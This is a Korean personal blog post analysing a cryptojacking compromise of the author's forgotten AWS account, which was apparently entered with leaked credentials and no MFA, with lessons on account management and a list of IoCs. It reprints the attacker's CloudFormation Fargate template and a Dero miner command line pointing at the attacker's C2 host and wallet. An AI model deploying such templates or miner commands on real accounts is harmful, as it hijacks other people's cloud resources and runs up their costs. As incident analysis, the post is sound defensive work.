Data+

AWS 계정 해킹당한 썰(feat. 계정 관리의 중요성)

by Qerogram

TL;DR

1. 계정관리에 신경쓰자! 안쓰는 계정이 있으면 삭제하거나 비활성화하자. 아니면 MFA라도.

2. 채굴이 목적인 침투를 봐서 반가웠다.. 기왕이면 많이 좀 벌어가지!

3. 클라우드 포메이션이나 IaC(Infrastructure as code)도 공격에 활용하기 좋다는 점.

 


 

# 발단

2023년 2월 3일 오전 9시, 나는 비몽사몽한 상태로 휴대폰을 통해 메일을 뒤적이고 있었다. AWS에서 이상을 탐지했다는 메일이 새벽에 와있었다.

계정에서 이상징후를 탐지한 AWS

 

뭐, 스팸이나 스피어피싱 메일이 종종오니까 그런거라고 생각하고 별 일 아닌가보다 하고 넘어갔다.

 

 

# 전개

근데 문득 우리 회사는 AWS를 많이 쓰니까, 회사에 대한 침해사고가 아닌가 걱정이 되기도 했다. 또 "최근 테스트 환경을 만들던 것을 오탐했나?" 하는 생각이 들어서 수신자부터 확인했다. 다행히도 학교 계정으로 이메일이 왔다는 것을 확인했다 :)

잠깐, 나 학교 메일로 AWS에 가입한 적이 있었나..? 

 

생각에 좀 오싹하긴 했지만, BoB(Best of the Best) 경연 평가 때 Credit 때문에 가입을 했었긴 하다.

경연단계 과제 중 하나.

 

 

# 위기

최근에는 FinOps에 대한 이야기를 가끔 접해서 그런가, 비용이 중요하다는 생각이 가장 먼저 들어서, 비용부터 봤는데 그냥 "아.." 소리만 났다..

아.......

 

다행히도 "AWS 해킹 과금"등 키워드를 검색하면 나오는 사례들처럼 수백,수천만원 정도의 규모는 아니었다.

그래도 $180나 썼다고...?

 

 

본론으로 돌아가서, 유입 경로와 공격 목적을 특정해야 한다. 우선 공격 목적부터 생각해보면, AWS는 사용량에 따른 비용을 내야하는 서비스다보니, 다른 로그보다 비용부터 보는게 빠르지 않을까? 하는 생각에 CloudTrail을 제쳐두고, 먼저 확인했다.

전부 ECS Fargate 비용이라서, 해커 취향을 알아서 뭐하겠냐만은 이 해커는 ECS Fargate를 좋아하나 싶긴 했다.

근데 왜 리전을 3개나...

 

ECS Fargate를 좋아하는 지 ECS Fargate만 사용한 모습

 

CloudTrail 로그와 몇몇 리소스를 활용해서 분석하다보니, 해커가 CloudFormation을 통해 Fargate를 올린 정황을 포착할 수 있었다.

Task:
    Type: AWS::ECS::TaskDefinition
    Properties:
      Family: web-appx
      Cpu: 8192
      Memory: 16384
      NetworkMode: awsvpc
      RequiresCompatibilities:
        - FARGATE
      ExecutionRoleArn: !Ref ECSTaskExecutionRole
      ContainerDefinitions:
        - Name: hello
          Image: docker.io/sittacans076/node:latest
          Cpu: 8192
          Memory: 16384

  Service:
    Type: AWS::ECS::Service
    Properties:
      ServiceName: Fargate
      TaskDefinition: !Ref Task
      Cluster: !Ref ECSCluster
      LaunchType: FARGATE
      DesiredCount: 7
      DeploymentConfiguration:
        MaximumPercent: 200
        MinimumHealthyPercent: 70
      NetworkConfiguration:
        AwsvpcConfiguration:
          AssignPublicIp: ENABLED
          Subnets:
            - !Ref Subnet1
            - !Ref Subnet2
          SecurityGroups:
            - !Ref ContainerSecurityGroup

 

# 절정

운좋게도 해커의 Docker Container Registry가 살아있어, IMAGE LAYERS를 살펴봤다. 간단하게 요약하면, "https://github.com/deroproject/derohe/releases/download/Release96/dero_linux_amd64.tar.gz" 레포에서 archive를 받아오고, "./dero-miner-linux-amd64" 바이너리를 실행하는 도커 이미지다.

채굴형 악성코드를 내려받는 코드

 

이 때, 인자로 줬던 rpc address 옵션을 통해 C2를 특정할 수 있다. 실행한 바이너리 이름과 ECS Fargate Task(vCPU 8, vRAM 16G, 7~14대)를 3개의 리전에 생성한 것을 보면, 채굴을 위해 많은 리소스가 필요했던 것 같다. 아니라면, 해킹 당한 피해자의 AWS 자원을 이용해 돈을 소모시키는 변태

지갑주소와 C2를 인자로 Minor 실행하는 흔적

 

채굴을 위해 연결되는 C2 주소는 BlackHost 아이피로 찍혔는데, VPS 호스팅을 해주는 플랫폼이라 더 추적하진 않았다.

쎄한 느낌이 드는 favicon.

 

도커 이미지에서 실행되는 Go로 컴파일된 바이너리였다. 대충 리버싱 해본 결과, daemon-rpc-address, wallet 인자를 받아서 실행하는 "Dero" 코인을 채굴하는 마이너 프로그램이었다.

도커에서 실행되는 Dero Coin 마이너 프로그램.

 

Dero의 메인넷을 볼 수 있는 "derostats.io"의 Dero Mining 예제로 나와있는 코드랑도 일치했다.

./dero-miner-linux-amd64 --daemon-rpc-address=185.142.239.111:4444" "--wallet-address=dero1qy28cskhtvls46tzjr4sgcrfat2eh02naeplqexjqa8zq5pezg25vqqpnu9hl" "--mining-threads=8

derostats.io에 소개된 마이닝 코드 예제

 

공격자의 지갑 주소가 남아있는 트랜잭션 또한 볼 수 있었다. 이 블록이 이번 해킹과 연관이 있는 트랜잭션인데, 채굴된 양을 보면 생각보다 많이 채굴한 것 같기도 하다.

 

BTCC에 의하면 Dero의 가격은 겨우 $4고, 0.62685 Dero면 $2~3 벌자고 나를 이렇게 고생시켰나 싶기도 ㅎㅎ...좀 많이 벌어갔으면 부럽기만 했을텐데 조금 짜증이 나기도 한다.

달랑 $4.82

 

 

유입경로에 대한 내용인데,  Access Key는 내가 만든게 아니라서, 즉 해커가 계정에 직접 들어와서 만들었다.

계정에 어떻게 들어왔나 생각을 해보면, 보안으로 안전하지 않은 것은 맞긴 했다. 아래처럼 계정에 대한 보안 조치가 전혀 되어 있지 않았긴 하다.

1. MFA 설정이 안되어 있었다. 일회성으로 만든 거라 보안에 대해서는 생각을 하지 못했다.

2. 학교 아이디는 외부와 달리 "qerogram"을 사용하지 않는데, 얼마 전 학교에서 개인정보가 유출되었다는 연락을 받았다. 이 유출과 좀 상관관계가 있지 않았나 싶긴하다. 비번은 학교와 동일했는데 이게 가장 큰 문제였지 않을까.

 

# 결말

AWS Support에서 친절하게 잘 알려줬다. MFA도 적용하고, 생성된 자원들 지우는 등 계정 보안에 관련된 조치를 수행했다. 사실은 존재한다는 것조차 잊고 있었던 계정이라, 이번 기회를 토대로 안쓰는 계정들에 대해서도 계정 관리의 필요성을 느꼈다. 예전에 한 해커분의 "CTF 문제 풀다 해킹당한 이야기" 포스팅을 읽었을 때, 설마 나도 해킹당하려나...? 싶은 생각이 들었었는데, 참 ㅎㅎ... 둘 다 Misconfiguration으로 이렇게 참맛을 봤다는 생각이 ㅠㅠ.. 

 

 

IoC 정보

* sittacans076

* https://hub.docker.com/r/sittacans076/node

* http://185.142.239.111:4444/

* Dero 지갑 주소 : dero1qy28cskhtvls46tzjr4sgcrfat2eh02naeplqexjqa8zq5pezg25vqqpnu9hl

'보안' 카테고리의 다른 글

Saitama Malware  (0) 2022.06.26
OLE Decompress  (0) 2022.02.16
[WriteUp] N00bCTF - You Know ALS?  (0) 2020.06.19
letsencrypt SSL 갱신하기  (0) 2018.12.27
라즈비안에서 hostname 설정하기.  (0) 2018.01.24

블로그의 정보

Data+

Qerogram

활동하기